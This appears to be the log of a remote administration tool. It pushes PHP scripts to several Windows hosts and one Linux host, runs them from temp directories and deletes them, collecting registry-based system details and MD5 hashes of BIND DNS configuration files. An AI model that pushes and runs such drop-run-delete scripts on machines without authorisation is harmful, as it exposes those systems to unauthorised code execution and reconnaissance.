wD2QwduzNQPeFqVu0uhcjXOy0SttXSeV-sQ0ejm0CV8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wD2QwduzNQPeFqVu0uhcjXOy0SttXSeV-sQ0ejm0CV8


2026-01-03 06:00:06: 

chmod 755 /tmp/pkp300698; /tmp/pkp300698; rm /tmp/pkp300698

2026-01-03 06:00:06: 




2026-01-03 12:53:06: Establishing a remote connection
2026-01-03 12:53:12: Establishing a remote connection
2026-01-03 12:53:12: 

PUT: C:\WINDOWS\TEMP\pkp375107

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-03 12:53:12: 

C:\WINDOWS\TEMP\pkp375107



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=DESKTOP-G30MAQ7
ProductName=Windows 10 Enterprise LTSC 2019
ReleaseId=1809



2026-01-03 13:19:38: Establishing a remote connection
2026-01-03 13:19:44: Establishing a remote connection
2026-01-03 13:19:45: 

PUT: C:\Users\VIDEO\AppData\Local\Temp\pkp646113

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-03 13:19:45: 

C:\Users\VIDEO\AppData\Local\Temp\pkp646113



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=VIDEO-PC
ProductName=Windows 7 Home Premium




STDERR:
ERROR: The system was unable to find the specified registry key or value.
PHP Fatal error:  Uncaught ValueError: explode(): Argument #1 ($separator) cannot be empty in C:\Users\VIDEO\AppData\Local\Temp\pkp646113:11
Stack trace:
#0 C:\Users\VIDEO\AppData\Local\Temp\pkp646113(11): explode()
#1 C:\Users\VIDEO\AppData\Local\Temp\pkp646113(21): getRegistry()
#2 {main}
  thrown in C:\Users\VIDEO\AppData\Local\Temp\pkp646113 on line 11


2026-01-03 13:34:33: Establishing a remote connection
2026-01-03 13:34:34: installid not present
2026-01-03 13:47:58: Establishing a remote connection
2026-01-03 13:48:04: Establishing a remote connection
2026-01-03 13:48:04: 

PUT: C:\Users\RASPBE~1\AppData\Local\Temp\pkp668826

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-03 13:48:04: 

C:\Users\RASPBE~1\AppData\Local\Temp\pkp668826



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=RASPI-PC
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-03 14:16:15: Establishing a remote connection
2026-01-03 14:16:16: 

PUT: C:\Windows\TEMP\pkp740579

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-03 14:16:16: 

C:\Windows\TEMP\pkp740579



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=RASPI-PC
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-03 14:25:20: Establishing a remote connection
2026-01-03 14:25:26: Establishing a remote connection
2026-01-03 14:25:27: 

PUT: C:\Windows\TEMP\pkp333387

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";


2026-01-03 14:25:27: 

C:\Windows\TEMP\pkp333387



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=RASPI-PC
ProductName=Windows 10 Pro
ReleaseId=2009
Processor=ARMv8 (64-bit) Family 8 Model D0B Revision 401



2026-01-03 14:34:05: Establishing a remote connection
2026-01-03 14:34:05: 

PUT: C:\Windows\TEMP\pkp218946

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";


2026-01-03 14:34:05: 

C:\Windows\TEMP\pkp218946



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=RASPI-PC
ProductName=Windows 10 Pro
ReleaseId=2009
Processor=ARMv8 (64-bit) Family 8 Model D0B Revision 401



2026-01-03 14:37:46: Establishing a remote connection
2026-01-03 14:37:51: Establishing a remote connection
2026-01-03 14:37:52: 

PUT: C:\WINDOWS\TEMP\pkp988468

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";


2026-01-03 14:37:52: 

C:\WINDOWS\TEMP\pkp988468



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=DESKTOP-G30MAQ7
ProductName=Windows 10 Enterprise LTSC 2019
ReleaseId=1809
Processor=Intel64 Family 6 Model 158 Stepping 11



2026-01-03 14:38:17: Establishing a remote connection
2026-01-03 14:38:34: Establishing a remote connection
2026-01-03 14:38:34: 

PUT: C:\WINDOWS\TEMP\pkp312648

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";


2026-01-03 14:38:34: 

C:\WINDOWS\TEMP\pkp312648



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=ZOOM-PC
ProductName=Windows 10 Pro
ReleaseId=2009
Processor=Intel64 Family 6 Model 156 Stepping 0



2026-01-03 14:46:42: Establishing a remote connection
2026-01-03 14:47:24: Establishing a remote connection
2026-01-03 14:47:25: 

PUT: C:\WINDOWS\TEMP\pkp951442

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";


2026-01-03 14:47:25: 

C:\WINDOWS\TEMP\pkp951442



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=DESKTOP-G30MAQ7
ProductName=Windows 10 Enterprise LTSC 2019
ReleaseId=1809
Processor=Intel64 Family 6 Model 158 Stepping 11



2026-01-03 15:17:43: Establishing a remote connection
2026-01-03 15:17:49: Establishing a remote connection
2026-01-03 15:17:49: 

PUT: C:\Windows\TEMP\pkp524504

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
$res = getRegistry('HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'Identifier');
echo "Processor=$res\n";
echo "\n";


2026-01-03 15:17:49: 

C:\Windows\TEMP\pkp524504



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=VIDEO-PC
ProductName=Windows 7 Home Premium




STDERR:
ERROR: The system was unable to find the specified registry key or value.
PHP Fatal error:  Uncaught ValueError: explode(): Argument #1 ($separator) cannot be empty in C:\Windows\Temp\pkp524504:11
Stack trace:
#0 C:\Windows\Temp\pkp524504(11): explode()
#1 C:\Windows\Temp\pkp524504(21): getRegistry()
#2 {main}
  thrown in C:\Windows\Temp\pkp524504 on line 11


2026-01-03 15:53:17: Establishing a connection
2026-01-03 15:53:27: Establishing a connection
2026-01-03 15:53:27: 

PUT: /tmp/pkp546731

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 15:53:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp546731; rm /tmp/pkp546731'

2026-01-03 15:53:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
